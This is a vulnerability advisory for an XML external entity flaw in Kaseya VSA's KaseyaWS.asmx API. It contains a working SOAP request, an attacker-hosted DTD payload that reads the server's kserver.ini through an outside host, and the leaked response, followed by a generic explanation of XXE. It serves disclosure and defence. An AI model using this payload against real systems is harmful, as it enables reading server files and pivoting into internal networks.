The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv=http://schemas.xmlsoap.org/soap/envelope/ xmlns:kas=KaseyaWS> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM http://192.168.1.170:8080/oob.dtd><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> And the following XML file hosted at http://192.168.1.170/oob.dtd: <!ENTITY % file SYSTEM file://c:kaseyakserverkserver.ini> <!ENTITY % eval <!ENTITY % error SYSTEM file:///nonexistent/%file;>> %eval; %error; The server will fetch this XML file and process it, it will read the file c:kaseyakserverkserver.ini and returns the content in the server response like below. Response: HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version=1.0 encoding=utf-8?><soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/ xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.w3.org/2001/XMLSchema><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).rnrnSystem.Xml.XmlException: Fragment identifier ######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> Security issues discovered — * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact — Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
| Name | Vendor | Start Version | End Version |
|---|---|---|---|
| Vsa | Kaseya | * | 9.5.6 (excluding) |
XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing. By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as “file:///c:/winnt/win.ini” designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning. Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.